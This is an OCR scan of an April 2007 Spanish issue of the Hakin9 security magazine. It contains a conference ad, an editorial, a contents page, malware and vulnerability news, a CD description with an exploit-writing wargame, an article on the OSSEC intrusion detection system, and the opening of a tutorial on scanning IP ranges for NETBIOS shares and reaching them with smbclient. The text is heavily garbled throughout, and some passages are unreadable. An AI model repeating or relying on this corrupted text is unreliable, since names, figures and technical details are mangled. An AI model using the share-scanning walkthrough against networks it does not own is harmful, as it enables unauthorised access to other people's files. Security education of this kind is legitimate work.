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It's extremely hard 1o keep your security soffware up to dale.

Keeping your employees’ abiliies and knowledge in that way is even harder
That's why the IT Underground conference was created.

Te deliver what is mostly needed. Knowledge and news.

The best hardware and the most sophisticated software inthe handselan
unexperienced employee won'l improve your company's security levelsVen .
a bif, —

Join us and leel safe.

Leclures given by the best in IT security, 10 hours of workstiops in the BYOL
(Bring Your Own Laplop) mode which increase the effectivhness of your security
systems are just o par of whal IT Undergroung has to offer.

The key fealure of our conlgrence iz a group of people who during discussions
offer what is valued ozl - expenence, knowledge and o diferent
approach teaspecific problem.

Remember about your safety. Remember to be at the IT
Underground.

IX edition of the conference!

Already in June 2007
Dubslin / lreland
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Feeling safe?

" You are certain that there isno
threatto your company's data?

\TIIIHG'S nothing more wrong.

We'Vie been in Prague in March -
check out, where we'll meet next!

www.itunderground.org
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Primavera, tlarnpn de ataquas

Mo es casualidad que en esta época post-invernal sea
muy facil ser victima de una gripe, un resfriado, un catarro
molesto y cronico, etc. Los primeros dias de sol y calor nos
hacen perder la nocion del peligro. Nos sentimos seguros,
guitarmos la chaqueta, dejamos an casa la bufanda y el gorra,
nos dejamos seducir por &l calor del primer sol primaverial,
hasta que de repente enfermamocs y nos damos cuenta de
que no éramos tan resistentes como pensabamos y de que
esos primeros rayos del sol de primavera no nos han prota-
gida del frie como habiamos imaginado... Una de las cosas
pecres en la vida es perder la nocidn de peligro. Por eso,
en este numero de la revista os ofrecemos un monton de
articulos que os mostrardn varos tipos de ataques que los
usuarios maliciosos podrian realizar para intentar compro-
metar vuestro equipo y obtener acceso a él cuando el duefio
prefiera disfrutar de los primeros dias de primavera a pensar
sobre las nuevas maneras de proteger su equipo...-]

Sin embarge, la primavera es también tiempo de nuevas
energias. Junto con el mundo que despierta a la vida, con las
flores que brotan y las hojas que reverdecen, en el hombre
brotan ideas nuevas y onginales. De esto s que tenemos
constancia; las encontrareis en las paginas de Hakin9.
Bueno, no esperédis ver aqui flores floreciendo, sine mas
bien ideas frescas, nuevas y muy interesantes que hemos
sacado de lzs mentes de nuestros autores y que cen todo el
placer os presentamos en nuestra publicacion,

En la edicidn de Abril de Hakin® podreis encontrar arti-
culos muy interesantes como por ejemnplo el titulade Atagues
Do3 en redes WIFL. Ofro interesante articulo de la seccidn
Ataque se titula USE Hacks, que os explicard los riesgos
y ataques relacionados con los dispositivos de almacena-
miento masivo USB, tema que desde hace ya tiempo esta de
candente actualidad y suscita mucha emocian.

En la seccidén Defensa también encontraréis una gran
variedad de articulos interesantes, Profege lu correo elec-
trénico con Thunderbird, GPG y Enigmeail y también, Plan
de copias de segundad, gue s uno de los mas practicos de
esta edicién.

Uno de los textos mas interesantes del numero de Abril
de Hakin® es el articulo titulado Infroduccidn & Single Sign-
On. En este articulo, Arturo Gonzalez Ferrer nos ensafia los
principales mecanismos de autenticacion en sistemas VWeb,
en qué consista la autenticacion Single Sign-On, algunos
ejemplos de servicios 350 y qué aplicaciones hacen uso de
este mecanismo.

Para terminar me gustaria mencionar que en nuestro
CD, como siempre, encontraréis regalos interesantes. Esta
vez lenemos para vosotros algo muy especial; la segunda
parte del Wargame y las versiones completas de tres apl-
caciones comerciales, Intelll HyperSpeed 2005, Ashampoo
Antyspyware y Vip Defense - Vip Privacy. Espero que os
sean Utiles.

Sin mas, me despide de vosotros deseandoos una feliz
lectura y os invito a compartir con nosotros vuestras ideas
frescas y primaveriales. .

Katarzyna Swinarska

En breve 06

Resaltamos las noticias més importantes del mundo
de la seguridad de sistemas informaticos.

Contenido del CD
CD hakin9.live 08

Comentamos el contenido y el funcionamiento de
nuestra  distribucidn  hakin®. ive. Presentamos la
segunda parte del juego Wargame.

Herramientas

Ossec 10
Micolds Aras

Nbtscan 13

Leonel vitn Saafigueroa

Ataque

USB Hacks 16

Enequiel Mastin Salliis

En este articulo aprenderds riesgos y ataques
relacionados con dispostivos de almacanamiento
US8, que es la tecnologia U3 y que relaciin tiens
con ataques tradicionalmente utiizados, tecnicas de
Slurping ¥ también algunas herramientas y codiges
disponibles.

Ataques DoS en redes WiFi 26

Asier Martinez

En este articulo leeras sobre como funcionan los
diversos ataques DoS existentes en las redes 80211,
También vas a conocer los peligros de cada atague y
sus paculiandades para poder diferenciarios,

Bagle - la historia sin fin 34

Cristian Borghello

Hace tres afios, el 18 de enero de 2004 el mundo se
vie azotado por una nueva epidemia de virus, En ese
momente todo hacla pensar que este era otro gusano
comuin y corriente a los que estabamos tan acostum-
brades, pero la historia demostrd que esta vez era
distinto y de hecho el Bagle o Beagle ha demostrado
sor el virus mis perssiente ¢ inteligents desde la
existencia de Intermet. Incluso, algunos autores atri-
buyen una estrategia empresarial detras del mismao.

waw hakinB.ong




Escalando Privilegios
en Windows Vista 40

Victor Lipez Judrez

Maquiavelo dijp una vez: El fin justfica los medios.
El administrador del sistema confiz en el uso de
contrasefias de inicio de sesidn que se almacenan
mediante una serie de mecanismos cuya seguridad
es cuestionable. Y al mismo tiempo, desconoce la
relativa facilidad con la que un atacante podria evadir
esas contrasefias e iniciar sesidn en el sisterna con
todos los privilegios.

Defensa

Protege tu correo electronico con
Thunderbird, GPG y Enigmail 50

José Maria Gomez Hidalgo

En este articulo aprenderds cémo cifrar y descifrar, y
firmar, mensajes de correo electrénico, de una forma
simple, en Windows, y con ayuda de herramientas
hbres y faciles de manejar.

Plan de copias de seguridad 62

Isaas Perer Moncho

Las copias de seguridad son un seguro de vida para
nuestro negocio. Debido a la creciente dependencia
de los datos en formato electronico, y a la gran canti-
dad de percances que puedan sufrir éstos, un plan de
copias de seguridad sdlido nos ayudara a mantener
la continuidad de nuestra empresa

Para principiantes
Introduccidn a Single Sign-On 68

Arturo Gonzidlez Ferner

En esta articulo aprenderas los principales meca-
nismos de autenticacién en Web, an que consiste
la autenticacidn Single Sign-On, veremos algunos
ejemplos de servicios 550 y las aplicaciones que
hacen uso de este mecanismo.

Seguridad en Windows Vista 76

Dmcar Martinaz Parar

En este articulo leeras sobre el concepto de Win-
dows Vista y los secretos de seguridad del nuevo
antispyware de Microsoft, Windows Defender.

En el préximo nimero 82

Avance de los articulos que se encontraran en la
siguignte edicidn de nuestra revista.

www. hakinS.ong
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Firefox, es tan seguro?
Muchos usan Firefox, principal-
renle porque e Masa prueba de
balas que olros navegadores, pero
altimamente, estando Firefox en el
ojo de la tormenta, se esta poniendo
en duda la supuesta mayor segu-
ridad de esie navegador. Segln
Bugzilla.org, firefox tiene un bug
gque permite crear cookies a pesar
de tener desactivada la funcidn de
aceptar autométicamente coo-
kies. Se comprobd que mediante
un script que envia la secuencia
Sx00, se puede forzar al navegador
a fomar cualquier cookie que el
atacante quiera. Aparentemente el
bug fue identificado y solucionado,
pero tedavia no se lanzo &l parche
que contiene esta actualizacion.

Servicio Secreto

no tan Secreto

Segin Secunty Focus, mediante el
ingreso a los sistemas de T-Mobile,
un joven de 21 afos tome datos
de 16 millones de personas. Lo
mas interesante es que dentro

de esas 16 millones de personas
se encantraba parte del Servicio
Secreto. En el caso particular del
Servicko Secreto, el joven uso
datos personales de agentes

para obtener infarmacién clasifi-
cada. La intrusidn fue detectada
gracias a un informante, que en

el marco de una investigacion por
fraude online, notifico al Servicio
Secreto de que en foros se esiaba
ofreciendo en venta informa-

cién confidencial y de clientes

de T-Mobile. Aparentemente, al
joven fue aprendido, pere no se le
levantaron cargos en su contra, al
contrario de toda lbgica, parece ser
que ahora esta trabajando para el
Senvicio Secreto.

Miles de gasolineras

sin gasolina debido

a un alague

En Buenos Aires, un hacker guito
de la lista oficial de la Secretaria de
Energla a miles de gasolineras, con
lo cual, |as petroleras no las abas-
tecieron. En realidad no se trata

de un borrado de informacidn, sino
que fue una modificacién masiva,
lo que proveco que las gasoline-
ras afectadas aparecieran como
violadoras de una reglamentacion
especifica. Lo mas nteresante es
qgue el atague fue detectado por
una empresa petrolera, no por las
autoridades de la Secretaria.

Un nuevo troyano Spamtaload comienza a

propagarse rapidamente

andalabs ha detectado

un  nueve ftroyano, llamado
Spamtaload DO, este troyano se
esta propagande con gran velocidad
llegando a suponer hasta el 40% de
los mensajes infectados por hora
analizados por esta empresa.

Panda Software ha declarado
que, aunque el troyano sea nuevo,
sUs sistemas antivifus son capaces
de detectardo y neutralizarlo, por fo
que los usuarios de software Panda
estan protegidos.

Spamtaload. DO se transmite a
través de correocs electrdnicos de
asunto ¥y mensaje variable. Algunas
opciones son las siguientes:

Asunta: Error, Good day, hello o
Mail Delivery System

El cusrpo de texto puede presen-
tar los siguientes mensajes:

*  Mail transaction failed. Partial
message is available,

+ The message containg Unicode
characters and has been sent as
a binary attachment

FPor otra parte, el mensaje incluye
un archivo ejecutable adjunto, de
nombre variable que incluye al tro-
yano.

5i el usuario ejecuta ese archivo,
el troyano abre el bloc de notas
mastrando un determinado texio o
bien muestra un mensaje de error
falso. Una vez ejecutado el archivo
se instala el troyano SpamtaTQ.
Este ditimo troyano se encarga de
regnviar @ Spamtaload DO a las
direcciones de correo guardadas en
nisestro ordenador.

Este tipo de cddigos maliciosos
na suele ser un fin en sl mismo, En
la mayoria de los casos, lo que se
busca es distraer & las empresas
de seguridad. Mientras ésfas se
esfuerzan en eliminarios, los delin-
cuenfes saprovechan pars lanzar
ofros codigos maliciosos de manera
mas silencioss. Esos segundos
gjemplares, ademds, suelen ser mis
peligrosos, explica Luis Corrons,
Director Técnico de Pandalabs.

www. hakin®.org

Este troyano pertenece a la fami-
lia Spamta, en la que estan inciuidos
una serie de gusanos y troyanos
muy activos en estos ditimos afios,
Su ditima aparicidn de un miembro
de esta familia fue el mes de noviem-
bre de 2006.

Durante estas oleadas suelen
aparecer muchas varianfes de la
misma familia en muy poco liempo.
Par ello, los usuanos deben exire-
mar las precauciones, ya que este
froyano podra ser sdlo el primero
de una nueva oleads, afirma Luis
Corrons,

Fara todos aquellos usuarios
que guisran comprobar el estado
de infeccidén de su ordenador, Panda
software pone a su disposicidn, de
forma gratuita, la herramienta online
Panda ActweScan en la direccién
www. activescan.com.ar.  Mediante
esta herramienta podemos llevar
un andlisis completo de nuestro
ordenador y eliminar o confirmar la
presencia de una infeccidn,

Sobre Pandalabs
Desde 1990, este laboratorio ana-
liza lo antes posble las nuevas
amenazas pars mantensr seguros
a los clientes de panda software. La
existencia de varios equipos espe-
cializados en cada tipo concreto de
malware (virus, gusanos, royanos,
spyware, phishing, spam, efc.) que
trabajan 24x7 ofrecen una cobertura
glebal. Para todo esto, este labora-
torio s& apoya en las Tecnologias
TruPreventTM, un sistema global
de alerta temprana formado por sen-
sores estratégicamente distribuidos,
que neutraliza nuevas amenazas y
las envia a Pandalabs para su and-
lisis en profundidad. De acuerdo con
AvTestorg, actualmente, Panda-
Labs es el laboratorio mas rapido de
la industria en proporcionar actuali-
zaciones completas a los usuarios.
Mas informacién  en  hffp:
Lhwww pandasoffware. es/pandalabs
y en el blog de Pandalabs (hiip:
Ahlogs pandasoftware com).
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Kaspersky reconoce que la seguridad
informatica se le esta yendo de las manos

En un arficule que publica Hispa-
sec, con declaraciones de Natalya
Kaspersky, consejra delegada de la
compafiia especializada en sistemas
antivirus, s& reconoce que actualmenta
se senten Meralmente desbordados
por lo que solicita la ayuda de las fuer-
zas imtemacionales de seguridad. En
estas declaraciones | Matalya expresa
sU preccupacidn cuando comenta que:
No lenemos las soluciones. Fensamos
que era posible realizar antivirus (en el
pasade) y eso ofrecid una profeccitn
adecuada. Ya no es asi

Kaspersky también reconocen
que estan abrumados: Le compafiia
liene a 50 ingenieres analizendo el
nuevo mahware y buscando formas
de bloquearlo, pero con 200 nuevas
muesiras por dia, y en aumenfo, el
trabajo se hace ardue. Ninguna com-
pafila anfivirus puede venir y decirte
gue puede manejarlo fodo, Conside-
ramos responsable hacero saber a
la gante de forma clara.

Segun Hispasec, para intentar
paliar esta situacion el Center for
Strategic and Infermnational Studies
(que asesocra a gobiermos en cues-
tién de seguridad), y una comisidn
federai de comercio se unirdn a Kas-
persky para hacer una llamada a las
fuerzas del arden, con el fin de que
se involucren mas en la lucha contra
el malware, tanto contra los creado-
res como contra los distribuideres de
este software. Asi mismo se inten-
tara llegar a acuerdos internaciona-
les con el fin de perseguir a estos
criminales a traves de las fronteras.

Todo ello es generado por el poco
éxito de la policia en este iempo, con
apenas 100 detencicnes por afio,
mientras que las creaciones de esie
tipo de software crece dia a dia a
un ritmo de 200 nuevas creaciones
por dia. Sdlo los estupidos se dejan
coger. A los listos ez muy complicado
encontraries, afirma Matalya.

Detenidos los presuntos autores
del gusano Fujacks en China

gis sospechosos fueron dete-

nidos en la provincia china de
Hubei en &l marce de la investiga-
cién per la creacién y propagacion
del gusano Fujacks. Segin datos
brindados por la policia china,
el autor del gusano habria ven-
dido su creacidn a ofros hackers,
haciéndose con un botin de 12.500
dolares. Si se comprueba su cul-
pabilidad, la condena puede ser da
hasta 5 afos.

3.000 pdginas de juegos en
linea fuaron afectadas por el gusano
Fumcks, donde robaba nombre de
usuario ¥ contrasefa, segan datos
de Sophos.

Segun el informe anual de Sophos,
China es uno de los principales crea-
dores de programas maliciosos,
ostentando un sorprendents 30% de
las creaciones También se informa
que China se encuentra segundo en
servidores infectados por gusanos y
programas similares.

Del 30% producido en China, la
mitad es especificaments para robar
datos sensibles | como pueden ser
usuarios y contrasefias, que luego
son utilizados con fines lucrativos.

Segun directives de Sophos,
aste golpe deberia servir de epemplo
a otros grupos chinos para detener
su accionar malicioso y criminal

Otra vulnerabilidad mas para Explorer

e dio a conocer una wvulnera-
bilidad en |E que permite la
ejecucion de codigo en el sisterma
afectado. El atague se frata nada
mas y nada mencs gue un atagque

del tipo Cross site scripling, que
gracias a una secuencia de texto
particular, permite explotar el bug. Al
momento de publicacién, no se sabe
de ningln parche especifico.

La actualizacién

de Firefox realmenta

no actualiza tanto

Con la llegada de |a versidn 2.0.0.2
de Firefox se esperaba un bordn ¥
cugnta nueva de kas fallas conoci-
das, pero, para sorpresa de algunos,
y no tanta sorpresa de otros, en la
nueva versidn se ignararon varnas
vulnerabiidades. Segin Michal
Zalewski, el hacker mas conocido
concenirado en Firefox, muchas

de las fallas descubiertas por el no
fueron corregidas, mientras que
otras si lo fueron. Para Michal Z.. las
vulnerabliidades deben ser reveladas
al 100% en forma publica, accion
que provoca demoras y publicacidn
prematura de aclualizaciones por
parte de los produciores de software,
Mozilla en este caso. Sin embango,
no todas las noticias son malas.

En la ultima version de Firefox, la
conocida vulnerabilidad que permitia
robar datos almacenados en el admt
nistrador de confrasenas fue conme-
gida. Esta vulnerabifidad utilizaba un
atague del tipo Reverse Cross Site
Request y fus muy dificl de cormegir.
Par Gltimo, mucha pente dics gue sl
Firefox quisne seguir sendo of nave-
gador fider en seguridad, la ongani-
zacidn Mozilla deberd poner mucho
esfuerzo para poder hacer frenle a
fa creciente {asa de vulnerabilidades
que los hackers estan encontrando
en su navegador estrella.

Fidel Castro

¥ Hugo Chévez muertos?
Recientemente se dio a cono-

cer de un nuevo spam que tiene
como asunia noficias del tipo Fidel
Castro dead o Huge Chéver deaa.
El correo tiene como propdsito
distribuir un archivo ejecutable
que al ser accedido, descarga

& instala un troyano altamente
peligroso, También se detectaron
mails con el mismo archivo que en
el asunto decian: Saddam Hussein
alive, Russian missile shof down
USA aireraft, Wadimir Putin dead
o también Condoleeza Rice has
Kicked Angela Merkel. El archiva
adjunto, como se dijo antes, es

un ejecutable que puede ser
llamado: wideo.exe, full vdeo exe,
read more.exe, full fext axe o full
clip.exe. Como el archivo no se
trata en si mismo de un troyano, es
muy complicada la deleccidn por
parte de los antivirus, con lo cual,
s& debe extremar el culdads al
recibir cormeas con adjuntos.

wwiw. hakin®.org
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Nusstra publicaciin ha seguido siempre la méxima Le
prifctica a5 siempre ol mejor profesor, por lo que siem-
pre hamos tratado de proporcicnar articulos y tuloriales
précticos Sin ambanga, aska VeI emos mds lejes; nos
elevaremos a un nuevo nivel superior. La segunda parts
del Wargams ha legado.

La mayoria de los opsrativos ©f
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chives y documentos privados e eliminen o moddguen.

Intelli HyperSpeed 2005

Inteli HyperSpeed 2008 ros ofoce la major solucsdn pan
optmizar la velocidad y ol endimisnto de los sistemas Win-
dows de forma automdSica. Mo sdlo optmizard ol sstioma
WG b Sdemds Bcalarani [ corxidn al inemet. Medare
ol uso de las (fmars tEonicas de rendimiento, Nos proveend
S CINGD Moo g OpUTMIERCIHN. estacikn de Tabap, cenlo
ch entreiariTsenio pars o hogad, SQUupo opEmizsdo pars jue-
2. Moy CHco de trabao & inchuso con &l modo Mo kb se.
Podemos slegir o cambiar dichos modos como dessemos
mrdiaries un sdio chic da raldn ¥ en un sdko segundo.

Ashampoo AntiSpyWare

Ashampoo AnSpyWiare i protege contra indas las rueas
arenaras e Makvare Lod sishemas opsratvod Windoes
gozan de mucha popularidad entre fodo Spo de usuanos
iy F s 8 AkCROE, FACkER.
S SPRARRR, PO de vrus, atc Siestis
BCCOSD B U SQUIDD i Mobar Calos, Jners, NOMens. de -
tas de onédito, instalar programas de publicidad ofensha o
arglernenty destrue b sisterna. Nesestas U prolsccidn
electiva conta esie po de atacantes de forma permanenis.
Ushzar sistmas WWncows sin ningln Spo de proteccidn seda
come de@r una carens lera de dinero en plena calle, muy
wntador, por ko gue Ashampod AnbSpylVare se comierts
o0 R GUATREEAldEs p I Los virus pe ya o
pasado y s personas gue odavia oreen quis consthuyen la
Urech S 0 TR B0 sgunoCan profundirents.
Ashampoo AniSpy\are ucha contm todas las nueas
amenazas que surgen da a dia ofreciéndonos una profec-
cidn completa conta dialers, Spywane, Troyanos o inluso

L]

ciertas wulnerabiidades que permiten comprometerics
&N TEYar o menor medids ¥ GANET AGCES0 COMS UN Supe-
rusuaio o rool. Asi puss, sl objstiva principal sste War
game es precisamente encontrar dichas vulnerabilidades
y explotarias. Escribe fus propios exploits ¥ envialos con
una descripciin corta y precisa scbre como ancaniasie
s solucién al ele 8 B drectein e seflware.com pl EI
ganador serd ol gue haya corseguide explotar dichas
vulnerabilidacdes de maners mds Chealivi @ Innovadans, y
aparecerd, & lo deseda, en la phona Web de hakind (Wi
Awww hakind, orgdes) unta con una pequedia ficha

VIP Defense - VIP Privacy

VIF Deforise = W protege del nesge potencel, de atagues
sxinmas. VIP Privacy parmite a los usuarios buscar y sa-
leccionar s aplicacionss o informacian almacenada en
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OSSEC

Licencia: GPLv2
Objetivo: sisterna HIDS
Pagina principal: www.ossec.nel

Los sistermas HIDS son sistemas de deteccion de ano-
malias. La idea detras de estos sistemas es mitigar ries-
gos de seguridad, ya sea tomando medidas preventivas
o reactivas en un sistema.

En este articulo voy a presentarles un sistema en
particular, OSSEC. Mo pretendo indicar que es el dnico,
porque no lo as. Solo quiers mostraries esta excelante
herramienta que nos hace ahorrar mucho esfuerzo,
dejando una comparaciin entre distintos sistemas HIDS
para un proxima articula

Ossec

Ossec s un sistema HIDS o sistema detector de intru-
sitn de host compuesto por un analizador y correlaciona-
der de logs, detector de rootkits, analizader de integridad
de archives, analizader de registre de Windows y un
module de respuesta activa.

Cualquier sistema operativo ipo POSIX con un com-
pilador ANSI C deberia ser suficiente para ejecutar el
sisterna. Fue testeado con éxito en (seglin se informa en
la pagina de Ossec):

+ OpenBSD 35 36, 37 38y39,

¢ Slackware 101 y 10.2,

« FreeB5D 521, 410-BETA, 54-RELEASE, &0-
STABLE,

* RedHat80y9.0,

* RedHat Enterprise Linux 4,

¢+ Ubuntu 504, 510y 6.06

+ Debian 3.1 Sarge,

+  Solaris 2.8, 2.9 (Sparc) y 10 (x86),

+  AIX 5.2 ML-07,

= MacOS8X 10,

* Fedora Core 2,3,4and 5,

« SuseESY9,

+  Windows XP/2000 (solo agenta).

Ossec tiene dos formas de funcionamiento, standalone
(modo autbnomo) vy modo cliente — servidor,

En el modo standalone el host hace de cliente v de
sarvidor, con una légica de procesos mas simple, ya gue
o necesita comunicarse con &l servidor, paro con las
mismas caracteristicas de funcionamiento, cumpliendo

Sistemna Operativo: cualguier possix compalibles

Autor del articulo: Micolds Arias, nicoanas@gmail.com

todas las funciones en un 100%. Este modo es util para
servidores expuestos a internet o en ambientes restringi-
dos, donde no s8 bene comunicaciin con otros sarvido-
res. La principal desventaja de este modo es que todos
los registros quedan en el servidor, con lo cual, si necesi-
tamos hacer un analisis forense, no podemos confiar en
es0s logs, va que pueden haber side comprometidos.

En el modo cliente-servidor, ol agente (clients) envia
los logs ¥ los resultados de los andlisis de sisterna y de
roctkits al servidor y este responde con una orden al
médule de respuesta activa, si es necesario, o genera
una alerta si hay algo fuera de lo normal.

En este modo la comunicacion entre &l agente v el
server es realizada mediante mensajes UDP. es decir, no
sa establecen conexiones punio a punto. Los paguetes
UDP van encriptados mediants una llave simétrica, con lo
cual, se puede garantizar, @n cierta manera, la confidencia-
lidad de los mensajes transmitidos. La clave de encripcidn
para cada agents es generada en &l servidor y s ingre-
sada en el clente al momento de configurario. teniendo
que escribir la clave en el programa de instalacian,

El agente mantiene sus archivos de configuracion
(bases de datos de rootkits v lista de archivos generada
por syscheck) almacenadas en forma local, pero de
todas maneras, se garantiza la integridad mediante
una revision de versionado penddica contra el servidor
(syscheck genera la lista y la envia al sarvidor).

También es posible que el servidor reciba los
mensajes de un syslog remoto para analizar.

En cuanto a la instalacidn, no hay nada de que pre-
ocuparse ya que funciona en cualquier sisterma POSIX
con un compilader ANSI C. El sisterna es distribuido en
codigo fuente, siendo necesario compilarlo para insta-
larlo. De todas maneras, todo el proceso de instalacidén
es mediante un script que conternpla la compilacidn, ins-
talacién y configuracidn inicial, Todo se hace desde una
interfaz respondiendo preguntas, o & s quisre hacar
de forma mas tradicional, compilando en forma manual
y copiando los binaries a los lugares correspondientes
(existe una guia de instalacién manual). Se podria decir
que la instalacion es trivial.

La configuracién post instalacion no es estrictamente
necesaria, ya que con la configuracion por defecto mas

www hakin®.org
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la generada por el script de instalacion es suficiente para
tenar el sistema funcienands en forma eficlents, paro de
todas maneras se recomienda ir ajustando las reglas de
deteccidn y cormelacidn para mejorar la eficlencia del sis-
tema y evitar falsos positivos.

Ossec soporta mdlbples formatos de logs por
defecto, pero siempre se puede extender y mejorar.
Algunos ejemplos de logs soportades son (segin la wiki
de ossec):

+ sshd (OpenSSH),

* Solaris telnetd,

« Samba,

* Imapd and pop3d,

*  Postfi,

+  Microsoft Exchange,
+ |ptables firewall,

¢ Solaris ipfilter firewall,
¢ AlX ipsec/firewall,

+  Netscreen firewall,

»  Windows firewall,

*  Cisco PIX/ASA,

* Cisco 105 IDSAIPS,

+  Snort IDS (smort full, snorf fast y snort syslog),
¢+ Windows event logs.

Analizador y correlacionador

de logs (logcollector y analisysd)

El sisterna tiene una coleccidn (adaptable) de reglas para
alertas y correlacion, descritas en xml A continuacitn
hay una regla de andlisis (Listado 1) y otra de correlacién
(Listado 2) para el demonio vs-fijpd.

Para que estas reglas tengan sentido, hay que escri-
bir un decoder (Listado 3), gue es donde se especifica la
gintaxis de la linea a revisar.

En el caso que alguien quiera ganar acceso al fip por
medio de un ataque del ipo de fuerza bruta, vamos a reci-
bir una alerta de ossec notificandonos del evento y donde
nos dice la regla que disparo la alerta ¥ una descripcion
gue contiene las lineas de log que dispararon la regla.

En &l caso que tengamos el modulo de respuesta
activa funcionando, el servidor ossec, al recibir las
lineas de log y procesarlas, va a enviar una orden al
agente para que blogquee el acceso, ya sea mediante
una regla del firewall o por fcpwrappers (la accidn es
configurable)

Detector de Rootkits (syscheckd)

Otra funcionalidad interesants de Ossec es el delacior
de roofluls. Este scanner utiliza dos metodologias para
identificar rootkits:

= Identificacion basada en firma,
# |dentificacion basada en anomalias.

Para la identficacidn basada en fimas se utiizan dos

wwiw. hakin®.org

Listado 1. Regla de anélisis

/rule

rule id="11451" level="10" freguelicy="6"

Jrule

Listado 2. Regla de correlacidn

Le Dd="11451

Listado 3. Decodificador de sinfaxis

Listado 4. Algunas de las firmas de rootkifts
conocidos
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archivos donde se detallan caracteristicas Unicas de varios
tipos de rooikifs y troyanos, por ejemplo (Listado 4).

La identificacidn basada en anomalias utiliza un enfo-
que mas inteligente ya que no busca rootkits conocidos,
sino que busca anomalias en el sisterna. Las anomalias
que busca son:

* Revisar /dev, solo deberian haber archivos de disposi
tivos y el script Makedev

*  Buscar en el file sysfem archivos con anomalias de
parmisas, por ajemplo, archivos cuyo owner sea roof
perc gue tengan permisos de escritura para obros,
archivos con -.1q ¥ archivos y directorios escondidos.

¢ Buscar procesos escondidos, ufllizando gersuiag
¥ ki110) (que deberia ser la misma) para hacer una lista
de pid’s que estan sendo usados para después compa-
rarla con |a salida de ps, si hay diferencias puede existir
un rootkil a nivel kemel o una version modificada de ps.

*  Buscar puertos escondidos mediante el uso de binc o
contra cada puerto udp v fep, si no se puede estable-
cer un vincuko con el puerto, netstal lo deberia listar
como puerts ocupado.

* Revisar todas las interfaces de red en bdsqueda de
interfaces en modo promiscuo ¥y comparar esa lista
con ifconfig.

Algo interesante respecto a esta funcionahdad, en el
mode chente-servidor es que solo tenemos que mante-
ner la lista de rootkits y troyanos en el servidor ya que
cada 10 minutos (por defecto) los agentes comparan la
versidon de la lista local con |a del servidor, = la versidn es
distinta, el servidor envia una actualizada.

Analizador de integridad

de archivos (syscheckd)

Este modulo revisa el sistema en bisqueda de cambios
en archivos, utilizando la siguiente metodologia:

* Enla primer ejecucidn genera una lista compuesta por:
+ Nombre de archivo,
+  Permisos,
+  Tamafio,
+ Hashes shal y md5,
+  Ownership.
+ La lista es enviada al servidor para ser resguardada.
+ En cada ejecucion, si alguno de los pardmetros listados
cambia, s& genera una alerta, por ejemplo (Listado 5)

Respuesta activa {EHEEEI!]
El modulo de respuesta activa utiliza un archivo de con-
figuracion donde se winculan reglas (alertas) o niveles
de severidad con respuestas (comandos) a ejecutar, por
epmplo (Listado G).

Segun s8 puede ver, 58 asocia un comando, con un
destino (donde se debe ejecutar el comando), un dispara-
dor (una regla o una alerta de cierto nivel) con un tiempo

Listado 6. Configuracidn de accidn para respuesta
activa

Listado 7. Definicidn de comando para respuesfa
activa

co

-

de castigo (el tempo de duracidn del cambio introducide
por el comando). Existen mas parametros para definir
mejor un bloque de respuesta activa, pueden ser consul-
tados en la documentacion que esta en la pagina wob.

La dafinicidn del comando también es mediante xml,
asociando =l nombre, &l archivo a ejecutar, los pardmetros
necesanios v ¢ el comando acepta o no el tempo de timeout.
La definicion de host-deny es la siguiente (Listado 7).

Conclusién
Como vemes, Ossec es una herramienta bastante com-
pleta que cumphe su funcion.

Ossec nos permite saber que esta ocurmendo en nues-
tros servers en, casi, iempo real y en forma eficients. Tam-
beén nos permite reaccionar a atagues en forma rpida.

Tenlendo en cusnta que es una herramienta muy
adaptable, de muy facil instalacidn y casl libre de man-
tenimiento, no cabe duda que Ossec esta pisando fuerte
y #sta haciendo pensar a herramientas pagas que ofre-
can la misma o menos funcionalidad.

Particularmente yo lo vi instalado en un ambiente de
20 servidores (Windows y Linux) y me sorprendid lo bien
que funcicnaba ya que no solo permitia detectar abusos,
sino gque también permitia ver errores poco frecusntes
mediante el andlisis de los logs.,

Personalmente yo ya inclui a Ossec en mi caja de
herramientas de seguridad y monitoreo. @

www. hakind.org
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Deteccion remota
de servicios NETBIOS

Autor del articulo: Leonel lvan Saafigueroa

Analizamos una herramienta para linea de comandos que escanea todos los

nembres de servidores NETBIOS en una red TCP/IP local o remota en busca

de servicios compartidos, Antes gue nada guisiera aclarar gue utilizaremos la
aplicacién Nbtscan, pero no es la que podemos encontrar en casi todas las
distribuciones GNL/Linux, sino la que fue creada por Steve Fried|.

Del mismo nombre, pero con funciones mas interesantes,
esta aplicacién se basa en la funcicnalidad de la wilidad
Mbtstat. disponible en los sistemas Windows y puede
escanear tanto una direccidn IP, como un rango de ellas
sin problemas.

En el sitio Internet de su creador Bl www.unixwiz,
netdools/nbiscan. himi no encontraremos el cadigo fuenta,
ya que &l mismo argumenta no tener iempo para explicar
su compilacion. Esto hace que estemos frente a una apli-
cacidn gratuita o Freeware, pero no de codigo hbre u Open
Source. En este sitio existen binarios para Windows, GNU/
Linux y SCO Open Server 5.0.6 listos para descargar.

Wbtscan pretende ser una herramienta fode incluido,
realizando escanecs al puerto 137/UDP y buscande
servidores de nombres NETBIOS. Como resultado nos
mastrara 1os equipos de nuestra red que podrian estar
compartiende recursos.

4Para qué puede servir esto?

Muchas personas, casi siempre usuarios finales, instalan
redes de drea local para compartir archivos e impresoras
en sus domicilios o pequefias empresas. Hasta aqul todo
perfecto, sin embargeo, lo que ellos no saben es que =
tienen una conexion a Inernet, podria ser posible que
compartieran todos sus recursos con el mundo, ¥ sola-
mente un firewall podria evitar algo asi.

Veamos un ejemplo, supongamos que nuestro pro-
veedor de servicios de Intrernet nos asigna la direccidn
IF dimamica 201.250.27.73, y nosotros queremos saber
qué equipes tienen el servicio de NETBIOS o SAMBA en
el rango de direcciones I[P 250.250.27.1-254 [Listado 1).

En esta resultade podemos ver la lista de direcciones
IP, DOMINIOAEQUIPO tal ¥ como las presenta el servi-
dor de nombres de NETBIOS.

La cadena SHARING significa que el equipo tiens
habilitada la opcién de archivos compartidos.

La herramienta también puede identificar sistemas
GMU/Linux que ejecuten servidores SAMBA.

Realizaremos una segunda busqueda, pero esta
vez utilizaremos la herramienta de filtrado Grep
para construir una nueva lista, exclusivameante com-
puesta por aquellos hosts que comparten recursos
{Listado 2)

wrwvewr hakin®. org

Ahora tenemos una lista de todos los hosts que com-
parten recursos. El siguiente paso es ver los recursos
que comparten y para ello, haremos uso del protocolo
SAMBA mediante su cliente Smbclent (Listado 3).

Mediante el comando Smbmount conseguimos que
nuestro equipo intente hacerse pasar por un hostde la red
a la que pertenece el host con direccién IP 201,250 2711
¥ que escanee al equipo ESTUDIO en busca de recursos
compartidos a los que acceder.

Samba siempre nos ofrece la posibilidad de introducir
la contrasefia de acceso incluso cuando la red no tenga
